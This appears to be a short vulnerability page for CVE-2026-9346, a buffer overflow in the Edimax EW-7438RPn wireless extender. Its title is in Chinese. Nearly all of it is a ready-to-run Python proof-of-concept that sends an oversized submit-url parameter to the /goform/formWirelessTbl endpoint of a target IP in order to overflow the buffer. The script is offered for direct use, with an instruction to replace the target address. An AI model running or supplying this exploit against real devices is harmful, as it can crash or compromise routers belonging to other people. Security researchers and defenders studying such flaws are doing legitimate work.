CVE-2026-9346 Edimax EW-7438RPn formWirelessTbl缓冲区溢出漏洞

import requests # CVE-2026-9346 PoC - Buffer Overflow in Edimax EW-7438RPn # Target: Edimax EW-7438RPn (firmware up to 1.31) # Endpoint: /goform/formWirelessTbl # Parameter: submit-url target_ip = "192.168.1.1" # Replace with target device IP target_port = 80 # Generate payload with oversized submit-url parameter # Buffer overflow occurs when submit-url length exceeds buffer size payload_length = 1000 # Adjust based on target payload = "A" * payload_length url = f"http://{target_ip}:{target_port}/goform/formWirelessTbl" params = { "submit-url": payload } try: response = requests.post(url, data=params, timeout=5) print(f"[*] Request sent to {url}") print(f"[*] Payload length: {payload_length}") print(f"[*] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")